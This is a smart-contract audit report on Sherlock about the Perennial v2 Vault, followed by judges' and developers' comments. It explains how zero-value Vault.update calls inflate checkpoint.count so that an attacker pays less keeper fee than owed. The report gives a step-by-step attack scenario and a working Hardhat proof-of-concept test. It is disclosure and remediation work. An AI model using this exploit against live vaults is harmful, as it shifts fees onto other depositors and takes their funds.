panprog - `Vault.update(anyUser,0,0,0)` can be called for free to increase `checkpoint.count` and pay smaller keeper fee than necessary

[sherlock-admin2]

panprog

medium

Vault.update(anyUser,0,0,0) can be called for free to increase checkpoint.count and pay smaller keeper fee than necessary

Summary

Vault re-balances its deposits and redemptions once per oracle epoch, but since multiple users can deposit/redeem, rebalance keeper fee is shared equally between all users depositing and redeeming in the same epoch. For this reason, checkpoint.count counts the number of users who will split the keeper fee (each user pays keeper fee / checkpoint.count)

The problem is that there are currently 2 types of users who increase checkpoint.count while they do not pay any fee:

1. Any user calling Vault.update(user, 0, 0, 0) isn't charged any fee but increases checkpoint.count
2. Any user claiming assets is charged full settlementFee from the amount he claims, but is not charged any other (shared) fees after that, but still increases checkpoint.count

The 1st point is more severe, because it allows to intentionally reduce the keeper fee paid by calling Vault.update(0,0,0) from different random accounts (which costs only gas fees and nothing more). Each such call increases checkpoint.count and thus reduces the keeper fees paid by the attacker.

Attack scenario:

1. User deposits or withdraws from his normal account. checkpoint.count = 1 for the epoch. Normally the user will pay the sum of the settlementFee of all the vault markets.
2. User uses any 3 addresses without any funds other than ETH for gas to call Vault.update(address1/2/3, 0,0,0). Each of these calls costs only gas to the user, but increases checkpoint.count to the value of 4.
3. Once the epoch settles, user will only pay settlementFee / 4 for his deposit/withdrawal, but the vault will still pay the Markets full settlementFee at the expense of the other vault users.

Vulnerability Detail

Vault._update(user, 0, 0, 0) will pass all invariants checks:

// invariant
// @audit operator - pass
if (msg.sender != account && !IVaultFactory(address(factory())).operators(account, msg.sender))
    revert VaultNotOperatorError();
// @audit 0,0,0 is single-sided - pass
if (!depositAssets.add(redeemShares).add(claimAssets).eq(depositAssets.max(redeemShares).max(claimAssets)))
    revert VaultNotSingleSidedError();
// @audit depositAssets == 0 - pass
if (depositAssets.gt(_maxDeposit(context)))
    revert VaultDepositLimitExceededError();
// @audit redeemShares == 0 - pass
if (redeemShares.gt(_maxRedeem(context)))
    revert VaultRedemptionLimitExceededError();
// @audit depositAssets == 0 - pass
if (!depositAssets.isZero() && depositAssets.lt(context.settlementFee))
    revert VaultInsufficientMinimumError();
// @audit redeemShares == 0 - pass
if (!redeemShares.isZero() && context.latestCheckpoint.toAssets(redeemShares, context.settlementFee).isZero())
    revert VaultInsufficientMinimumError();
// @audit since this will be called by **different** users in the same epoch, this will also pass
if (context.local.current != context.local.latest) revert VaultExistingOrderError();

It then calculates amount to claim by calling _socialize:

// asses socialization and settlement fee
UFixed6 claimAmount = _socialize(context, depositAssets, redeemShares, claimAssets);
...
function _socialize(
    Context memory context,
    UFixed6 depositAssets,
    UFixed6 redeemShares,
    UFixed6 claimAssets
) private view returns (UFixed6 claimAmount) {
    // @audit global assets must be 0 to make (0,0,0) pass this function
    if (context.global.assets.isZero()) return UFixed6Lib.ZERO;
    UFixed6 totalCollateral = UFixed6Lib.from(_collateral(context).max(Fixed6Lib.ZERO));
    claimAmount = claimAssets.muldiv(totalCollateral.min(context.global.assets), context.global.assets);

    // @audit for (0,0,0) this will revert (underflow)
    if (depositAssets.isZero() && redeemShares.isZero()) claimAmount = claimAmount.sub(context.settlementFee);
}

_socialize will immediately return 0 if context.global.assets == 0. If context.global.assets > 0, then this function will revert in the last line due to underflow (trying to subtract settlementFee from 0 claimAmount)

This is the condition for this issue to happen: global assets must be 0. Global assets are the amounts redeemed but not yet claimed by users. So this can reasonably happen in the first days of the vault life, when users mostly only deposit, or claim everything they withdraw.

Once this function passes, the following lines increase checkpoint.count:

// update positions
context.global.update(context.currentId, claimAssets, redeemShares, depositAssets, redeemShares);
context.local.update(context.currentId, claimAssets, redeemShares, depositAssets, redeemShares);
context.currentCheckpoint.update(depositAssets, redeemShares);
...
// Checkpoint library:
...
function update(Checkpoint memory self, UFixed6 deposit, UFixed6 redemption) internal pure {
    (self.deposit, self.redemption) = (self.deposit.add(deposit), self.redemption.add(redemption));
    self.count++;
}

The rest of the function executes normally.

During position settlement, pending user deposits and redeems are reduced by the keeper fees / checkpoint.count:

// Account library:
...
function processLocal(
    Account memory self,
    uint256 latestId,
    Checkpoint memory checkpoint,
    UFixed6 deposit,
    UFixed6 redemption
) internal pure {
    self.latest = latestId;
    (self.assets, self.shares) = (
        self.assets.add(checkpoint.toAssetsLocal(redemption)),
        self.shares.add(checkpoint.toSharesLocal(deposit))
    );
    (self.deposit, self.redemption) = (self.deposit.sub(deposit), self.redemption.sub(redemption));
}
...
// Checkpoint library
// toAssetsLocal / toSharesLocal calls _withoutKeeperLocal to calculate keeper fees:
...
    function _withoutKeeperLocal(Checkpoint memory self, UFixed6 amount) private pure returns (UFixed6) {
        UFixed6 keeperPer = self.count == 0 ? UFixed6Lib.ZERO : self.keeper.div(UFixed6Lib.from(self.count));
        return _withoutKeeper(amount, keeperPer);
    }

Also notice that in processLocal the only thing which keeper fees influence are deposits and redemptions, but not claims.

Proof of concept

The scenario above is demonstrated in the test, add this to Vault.test.ts:

it('inflate checkpoint count', async () => {
    const settlementFee = parse6decimal('10.00')
    const marketParameter = { ...(await market.parameter()) }
    marketParameter.settlementFee = settlementFee
    await market.connect(owner).updateParameter(marketParameter)
    const btcMarketParameter = { ...(await btcMarket.parameter()) }
    btcMarketParameter.settlementFee = settlementFee
    await btcMarket.connect(owner).updateParameter(btcMarketParameter)

    const deposit = parse6decimal('10000')
    await vault.connect(user).update(user.address, deposit, 0, 0)
    await updateOracle()
    await vault.settle(user.address)

    const deposit2 = parse6decimal('10000')
    await vault.connect(user2).update(user2.address, deposit2, 0, 0)

    // inflate checkpoint.count
    await vault.connect(btcUser1).update(btcUser1.address, 0, 0, 0)
    await vault.connect(btcUser2).update(btcUser2.address, 0, 0, 0)

    await updateOracle()
    await vault.connect(user2).settle(user2.address)

    const checkpoint2 = await vault.checkpoints(3)
    console.log("checkpoint count = " + checkpoint2.count)

    var account = await vault.accounts(user.address);
    var assets = await vault.convertToAssets(account.shares);
    console.log("User shares:" + account.shares + " assets: " + assets);
    var account = await vault.accounts(user2.address);
    var assets = await vault.convertToAssets(account.shares);
    console.log("User2 shares:" + account.shares + " assets: " + assets);
})

Console output:

checkpoint count = 3
User shares:10000000000 assets: 9990218973
User2 shares:10013140463 assets: 10003346584

So the user2 inflates his deposited amounts by paying smaller keeper fee.

If 2 lines which inflate checkpoint count (after corresponding comment) are deleted, then the output is:

checkpoint count = 1
User shares:10000000000 assets: 9990218973
User2 shares:9999780702 assets: 9989999890

So if not inflated, user2 pays correct amount and has roughly the same assets as user1 after his deposit.

Impact

Malicious vault user can inflate checkpoint.count to pay much smaller keeper fee than they should at the expense of the other vault users.

Code Snippet

Vault.update(0,0,0) will increase checkpoint.count here: https://github.com/sherlock-audit/2023-09-perennial/blob/main/perennial-v2/packages/perennial-vault/contracts/Vault.sol#L300

Tool used

Manual Review

Recommendation

Consider reverting (0,0,0) vault updates, or maybe redirecting to settle in this case. Additionally, consider updating checkpoint only if depositAssets or redeemShares are not zero:

if (!depositAssets.isZero() || !redeemShares.isZero())
    context.currentCheckpoint.update(depositAssets, redeemShares);

[sherlock-admin]

1 comment(s) were left on this issue during the judging contest.

polarzero commented:

Medium. Perfectly explained and demonstrated in the report.

[kbrizzle]

Fixed in: https://github.com/equilibria-xyz/perennial-v2/pull/111.

[panprog]

1. Vault(user,0,0,0) increasing checkpoint.count (medium severity) - fixed
2. Any user who is claiming still increases checkpoint.count, although he pays for the claim fully and doesn't participate in paying the keeper fee for deposit/redeem, thus he shouldn't increase checkpoint.count (low severity) - not fixed

[kbrizzle]

Since (2) is overcharging the fee instead of undercharging (claim pays entire settlement fee instead of splitting the resulting fee with others in version), we're going to leave this as-is. We'll make a note of this in case we improve the claiming flow in the future.

[jacksanford1]

Based on @kbrizzle's comment, Sherlock will consider the issue brought up in #2 in the comment above by panprog as acknowledged.